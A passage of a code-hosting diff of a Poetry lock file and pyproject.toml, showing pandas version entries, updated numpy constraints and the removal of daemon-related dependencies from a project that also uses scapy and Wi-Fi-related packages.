{file = "pandas-2.1.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d99e678180bc59b0c9443314297bddce4ad35727a1a2656dbe585fd78710b3b9"},
|
||||
{file = "pandas-2.1.0-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:b31da36d376d50a1a492efb18097b9101bdbd8b3fbb3f49006e02d4495d4c644"},
|
||||
{file = "pandas-2.1.0-cp39-cp39-win_amd64.whl", hash = "sha256:0164b85937707ec7f70b34a6c3a578dbf0f50787f910f21ca3b26a7fd3363437"},
|
||||
{file = "pandas-2.1.0.tar.gz", hash = "sha256:62c24c7fc59e42b775ce0679cfa7b14a5f9bfb7643cfbe708c960699e05fb918"},
|
||||
]
|
||||
|
||||
[package.dependencies]
|
||||
numpy = {version = ">=1.23.2", markers = "python_version >= \"3.11\""}
|
||||
python-dateutil = ">=2.8.2"
|
||||
pytz = ">=2020.1"
|
||||
tzdata = ">=2022.1"
|
||||
|
||||
[package.extras]
|
||||
all = ["PyQt5 (>=5.15.6)", "SQLAlchemy (>=1.4.36)", "beautifulsoup4 (>=4.11.1)", "bottleneck (>=1.3.4)", "dataframe-api-compat (>=0.1.7)", "fastparquet (>=0.8.1)", "fsspec (>=2022.05.0)", "gcsfs (>=2022.05.0)", "html5lib (>=1.1)", "hypothesis (>=6.46.1)", "jinja2 (>=3.1.2)", "lxml (>=4.8.0)", "matplotlib (>=3.6.1)", "numba (>=0.55.2)", "numexpr (>=2.8.0)", "odfpy (>=1.4.1)", "openpyxl (>=3.0.10)", "pandas-gbq (>=0.17.5)", "psycopg2 (>=2.9.3)", "pyarrow (>=7.0.0)", "pymysql (>=1.0.2)", "pyreadstat (>=1.1.5)", "pytest (>=7.3.2)", "pytest-asyncio (>=0.17.0)", "pytest-xdist (>=2.2.0)", "pyxlsb (>=1.0.9)", "qtpy (>=2.2.0)", "s3fs (>=2022.05.0)", "scipy (>=1.8.1)", "tables (>=3.7.0)", "tabulate (>=0.8.10)", "xarray (>=2022.03.0)", "xlrd (>=2.0.1)", "xlsxwriter (>=3.0.3)", "zstandard (>=0.17.0)"]
|
||||
aws = ["s3fs (>=2022.05.0)"]
|
||||
clipboard = ["PyQt5 (>=5.15.6)", "qtpy (>=2.2.0)"]
|
||||
compression = ["zstandard (>=0.17.0)"]
|
||||
computation = ["scipy (>=1.8.1)", "xarray (>=2022.03.0)"]
|
||||
consortium-standard = ["dataframe-api-compat (>=0.1.7)"]
|
||||
excel = ["odfpy (>=1.4.1)", "openpyxl (>=3.0.10)", "pyxlsb (>=1.0.9)", "xlrd (>=2.0.1)", "xlsxwriter (>=3.0.3)"]
|
||||
feather = ["pyarrow (>=7.0.0)"]
|
||||
fss = ["fsspec (>=2022.05.0)"]
|
||||
gcp = ["gcsfs (>=2022.05.0)", "pandas-gbq (>=0.17.5)"]
|
||||
hdf5 = ["tables (>=3.7.0)"]
|
||||
html = ["beautifulsoup4 (>=4.11.1)", "html5lib (>=1.1)", "lxml (>=4.8.0)"]
|
||||
mysql = ["SQLAlchemy (>=1.4.36)", "pymysql (>=1.0.2)"]
|
||||
output-formatting = ["jinja2 (>=3.1.2)", "tabulate (>=0.8.10)"]
|
||||
parquet = ["pyarrow (>=7.0.0)"]
|
||||
performance = ["bottleneck (>=1.3.4)", "numba (>=0.55.2)", "numexpr (>=2.8.0)"]
|
||||
plot = ["matplotlib (>=3.6.1)"]
|
||||
postgresql = ["SQLAlchemy (>=1.4.36)", "psycopg2 (>=2.9.3)"]
|
||||
spss = ["pyreadstat (>=1.1.5)"]
|
||||
sql-other = ["SQLAlchemy (>=1.4.36)"]
|
||||
test = ["hypothesis (>=6.46.1)", "pytest (>=7.3.2)", "pytest-asyncio (>=0.17.0)", "pytest-xdist (>=2.2.0)"]
|
||||
xml = ["lxml (>=4.8.0)"]
|
||||
|
||||
[[package]]
|
||||
name = "pandas"
|
||||
version = "2.1.1"
|
||||
|
@ -284,7 +175,10 @@ files = [
|
|||
]
|
||||
|
||||
[package.dependencies]
|
||||
numpy = {version = ">=1.23.2", markers = "python_version == \"3.11\""}
|
||||
numpy = [
|
||||
{version = ">=1.23.2", markers = "python_version == \"3.11\""},
|
||||
{version = ">=1.26.0", markers = "python_version >= \"3.12\""},
|
||||
]
|
||||
python-dateutil = ">=2.8.2"
|
||||
pytz = ">=2020.1"
|
||||
tzdata = ">=2022.1"
|
||||
|
@ -409,4 +303,4 @@ files = [
|
|||
[metadata]
|
||||
lock-version = "2.0"
|
||||
python-versions = "^3.11"
|
||||
content-hash = "04596bf28419e3f62541cfe785f8cba26bfab7e5e44f31efbe737947c39324ec"
|
||||
content-hash = "2bb920cc68aa6158f1d5f4b53aa0a0f2c60e0f246991e1b911567cd9644b1bb2"
|
||||
|
|
|
@ -14,8 +14,6 @@ art = "^6.0"
|
|||
scapy = "^2.5.0"
|
||||
configobj = "^5.0.8"
|
||||
pandas = "^2.1.0"
|
||||
daemon = "^1.2"
|
||||
daemonize = "^2.5.0"
|
||||
getmac = "^0.9.4"
|
||||
faker-wifi-essid = "^0.4.1"
|
||||
simple-parsing = "^0.1.4"
|
||||
|
|
Loading…
Reference in a new issue